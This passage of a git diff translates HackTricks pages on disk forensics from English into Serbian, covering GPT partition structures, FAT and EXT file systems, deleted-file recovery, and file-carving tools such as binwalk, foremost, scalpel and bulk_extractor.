| Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8 bajtova | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na malo-endijskim mašinama) | +| 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 | +| 12 (0x0C) | 4 bajta | Veličina zaglavlja u malo-endijskom formatu (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) | +| 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (offset +0 do veličine zaglavlja) u malo-endijskom formatu, pri čemu je ovo polje nula tokom izračunavanja | +| 20 (0x14) | 4 bajta | Rezervisano; mora biti nula | +| 24 (0x18) | 8 bajtova | Trenutni LBA (lokacija ovog kopiranog zaglavlja) | +| 32 (0x20) | 8 bajtova | Rezervni LBA (lokacija drugog kopiranog zaglavlja) | +| 40 (0x28) | 8 bajtova | Prvi upotrebljivi LBA za particije (poslednji LBA primarne tabele particija + 1) | +| 48 (0x30) | 8 bajtova | Poslednji upotrebljivi LBA (prvi LBA sekundarne tabele particija − 1) | +| 56 (0x38) | 16 bajtova | Disk GUID u mešovitom endian formatu | +| 72 (0x48) | 8 bajtova | Početni LBA niza unosa particija (uvek 2 u primarnoj kopiji) | +| 80 (0x50) | 4 bajta | Broj unosa particija u nizu | +| 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) | +| 88 (0x58) | 4 bajta | CRC32 niza unosa particija u malo-endijskom formatu | +| 92 (0x5C) | \* | Rezervisano; mora biti nula za ostatak bloka (420 bajta za veličinu sektora od 512 bajtova; ali može biti više sa većim veličinama sektora) | -**Partition entries (LBA 2–33)** +**Unosi particija (LBA 2–33)** -| GUID partition entry format | | | +| Format unosa particije GUID | | | | --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Offset | Dužina | Sadržaj | +| 0 (0x00) | 16 bajtova | [GUID particije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešoviti endian) | +| 16 (0x10) | 16 bajtova | Jedinstveni GUID particije (mešoviti endian) | +| 32 (0x20) | 8 bajtova | Prvi LBA ([malo-endijski](https://en.wikipedia.org/wiki/Little\_endian)) | +| 40 (0x28) | 8 bajtova | Poslednji LBA (uključujući, obično neparan) | +| 48 (0x30) | 8 bajtova | Zastavice atributa (npr. bit 60 označava samo za čitanje) | +| 56 (0x38) | 72 bajta | Naziv particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kodnih jedinica) | -**Partitions Types** +**Tipovi particija** ![](<../../../.gitbook/assets/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) +Više tipova particija na [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) -### Inspecting +### Inspekcija -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +Nakon montiranja forenzičke slike pomoću [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete pregledati prvi sektor pomoću Windows alata [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici je detektovan **MBR** na **sektoru 0** i interpretiran: ![](<../../../.gitbook/assets/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Ako je umesto MBR-a tabela GPT, trebalo bi da se pojavi potpis _EFI PART_ u **sektoru 1** (koji je prazan na prethodnoj slici). +## Fajl-sistemi -## File-Systems - -### Windows file-systems list +### Lista Windows fajl-sistema * **FAT12/16**: MSDOS, WIN95/98/NT/200 * **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -165,81 +162,81 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (File Allocation Table)** fajl-sistem je dizajniran oko svog osnovnog komponenta, tabele alokacije fajlova, koja se nalazi na početku volumena. Ovaj sistem čuva podatke održavajući **dve kopije** tabele, čime se obezbeđuje integritet podataka čak i ako je jedna kopija oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnom mestu**, što je ključno za proces pokretanja sistema. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +Osnovna jedinica skladištenja fajl-sistema je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, podržava 12-bitne adrese klastera i može da upravlja do 4078 klastera (4084 sa UNIX-om). +- **FAT16**, unapređuje se na 16-bitne adrese, čime se omogućava do 65.517 klastera. +- **FAT32**, dalje napreduje sa 32-bitnim adresama, omogućavajući impresivnih 268.435.456 klastera po volumenu. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +Značajno ograničenje kod svih verzija FAT-a je **maksimalna veličina fajla od 4GB**, nametnuta 32-bitnim poljem koje se koristi za skladištenje veličine fajla. -Key components of the root directory, particularly for FAT12 and FAT16, include: +Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Ime fajla/foldera** (do 8 karaktera) +- **Atributi** +- **Datumi kreiranja, izmene i poslednjeg pristupa** +- **Adresa FAT tabele** (koja označava početni klaster fajla) +- **Veličina fajla** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** je najčešći fajl-sistem za particije **bez žurnala** (**particije koje se retko menjaju**), poput boot particije. **Ext3/4** su **fajl-sistemi sa žurnalom** i obično se koriste za **ostale particije**. -## **Metadata** +## **Metapodaci** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Neke datoteke sadrže metapodatke. Ove informacije se odnose na sadržaj datoteke koji ponekad može biti zanimljiv analitičaru, jer u zavisnosti od vrste datoteke, može sadržati informacije kao što su: -* Title -* MS Office Version used -* Author -* Dates of creation and last modification -* Model of the camera -* GPS coordinates -* Image information +* Naslov +* Korišćena verzija MS Office-a +* Autor +* Datumi kreiranja i poslednje izmene +* Model kamere +* GPS koordinate +* Informacije o slici -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Možete koristiti alate poput [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da biste dobili metapodatke datoteke. -## **Deleted Files Recovery** +## **Obnova obrisanih datoteka** -### Logged Deleted Files +### Evidentirane obrisane datoteke -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Kao što je već viđeno, postoji nekoliko mesta gde se datoteka i dalje čuva nakon što je "obrisana". To je zato što brisanje datoteke sa fajl-sistema obično označava da je datoteka obrisana, ali podaci nisu dirnuti. Zatim je moguće pregledati registre datoteka (poput MFT-a) i pronaći obrisane datoteke. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Takođe, operativni sistem obično čuva mnogo informacija o promenama na fajl-sistemu i rezervnim kopijama, pa je moguće pokušati ih koristiti za obnovu datoteke ili što više informacija. {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### **File Carving** +### **Izvlačenje fajlova** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**Izvlačenje fajlova** je tehnika koja pokušava **pronaći fajlove u velikoj količini podataka**. Postoje 3 glavna načina na koja alati poput ovih rade: **Na osnovu zaglavlja i podnožja fajl-tipova**, na osnovu **strukture fajl-tipova** i na osnovu **sadržaja** samog fajla. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Napomena: Ova tehnika **ne funkcioniše za obnovu fragmentiranih fajlova**. Ako fajl **nije smešten u kontinuiranim sektorima**, tada ova tehnika neće moći da ga pronađe ili barem deo njega. -There are several tools that you can use for file Carving indicating the file types you want to search for +Postoji nekoliko alata koje možete koristiti za izvlačenje fajlova, navodeći fajl-tipove koje želite pretražiti. {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Data Stream **C**arving +### Izvlačenje podataka iz **C**arvinga -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +Izvlačenje podataka iz Carvinga je slično izvlačenju fajlova, ali **umesto potpunih fajlova, traži interesantne fragmente** informacija.\ +Na primer, umesto potpunog fajla koji sadrži evidentirane URL-ove, ova tehnika će tražiti URL-ove. {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Secure Deletion +### Sigurno brisanje -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Očigledno, postoje načini za **"sigurno" brisanje fajlova i delova zapisa o njima**. Na primer, moguće je **prepisati sadržaj** fajla sa beskorisnim podacima nekoliko puta, a zatim **ukloniti** zapise iz **$MFT** i **$LOGFILE** o fajlu, i **ukloniti rezervne kopije senki volumena**.\ +Primetićete da čak i prilikom izvršavanja te radnje može postojati **drugi deo gde se još uvek evidentira postojanje fajla**, i to je tačno, a deo posla forenzičkog stručnjaka je da ih pronađe. -## References +## Reference * [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) @@ -249,14 +246,14 @@ You may notice that even performing that action there might be **other parts whe
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje tako što ćete slati PR-ove na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 01871c96c..dbe1b34a4 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,136 +1,124 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. +Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celokupnom tehnološkom skupu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** -# Carving & Recovery tools +# Alati za izdvajanje i oporavak podataka -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Više alata na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +Najčešći alat koji se koristi u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i omogućite mu da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove. ## Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** je alat za analizu binarnih fajlova kako bi pronašao ugrađeni sadržaj. Može se instalirati putem `apt`-a, a izvorni kod se nalazi na [GitHub-u](https://github.com/ReFirmLabs/binwalk). +**Korisne komande**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite samo da pretražujete određene datoteke, uklonite komentare sa njih. Ako ne uklonite komentare, foremost će pretraživati podrazumevane konfigurisane vrste datoteka. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` +## **Skalpel** -## **Scalpel** - -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Skalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, trebaće vam da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Ovaj alat dolazi unutar Kali operativnog sistema, ali ga možete pronaći i ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, e-pošte)** i još **datoteke**. Samo trebate: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Pregledajte **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** pakete (pročitajte [**Pcaps analizu**](../pcap-inspection/)), tražite **čudne domene** (domene povezane sa **malverom** ili **ne-postojeće**). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) +Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +Dolazi sa verzijama GUI i CLI. Možete odabrati **vrste datoteka** koje želite da PhotoRec pretražuje. ![](<../../../.gitbook/assets/image (524).png>) ## binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/). -### Features of BinVis +### Funkcionalnosti BinVis-a -* Visual and active **structure viewer** -* Multiple plots for different focus points -* Focusing on portions of a sample -* **Seeing stings and resources**, in PE or ELF executables e. g. -* Getting **patterns** for cryptanalysis on files -* **Spotting** packer or encoder algorithms -* **Identify** Steganography by patterns -* **Visual** binary-diffing +* Vizuelni i aktivni **pregled strukture** +* Višestruki prikazi za različite fokusne tačke +* Fokusiranje na delove uzorka +* **Vidljive niske i resursi**, u PE ili ELF izvršnim datotekama, na primer +* Dobijanje **uzoraka** za kriptoanalizu datoteka +* **Prepoznavanje** pakera ili enkoder algoritama +* **Identifikacija** steganografije prema uzorcima +* **Vizuelno** binarno poređenje -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis je odlično **polazište za upoznavanje nepoznatog cilja** u scenariju crne kutije. -# Specific Data Carving Tools +# Specifični alati za izvlačenje podataka ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Pretražuje AES ključeve pretraživanjem njihovih rasporeda ključeva. Može pronaći ključeve od 128, 192 i 256 bita, kao što su oni koje koriste TrueCrypt i BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Preuzmite [ovde](https://sourceforge.net/projects/findaes/). -# Complementary tools +# Komplementarni alati -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Možete koristiti [**viu**](https://github.com/atanunq/viu) da vidite slike sa terminala.\ +Možete koristiti linux komandnu liniju alat **pdftotext** da pretvorite PDF u tekst i pročitate ga.
-Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. +Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje pretnji, pronalazi probleme u celokupnom tehnološkom sklopu, od API-ja do veb aplikacija i sistemima u oblaku. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 54fc4a1be..9a23f26c7 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,105 +1,93 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# Carving tools +# Alati za izdvajanje podataka ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +Najčešći alat koji se koristi u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i omogućite mu da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove. ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk** je alat za pretragu binarnih fajlova kao što su slike i audio fajlovi u potrazi za ugrađenim fajlovima i podacima. +Može se instalirati pomoću `apt` komande, međutim [izvorni kod](https://github.com/ReFirmLabs/binwalk) se može pronaći na github-u. +**Korisne komande**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite samo da pretražujete određene datoteke, uklonite komentare sa njih. Ako ne uklonite komentare, foremost će pretraživati podrazumevane konfigurisane vrste datoteka. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` +## **Skalpel** -## **Scalpel** - -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Skalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, trebaće vam da uklonite komentare iz konfiguracione datoteke \(_/etc/scalpel/scalpel.conf_\) za vrste datoteka koje želite da izdvojite. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +Ovaj alat dolazi unutar Kali operativnog sistema, ali ga možete pronaći i ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor) +Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, mejlovi)** i još 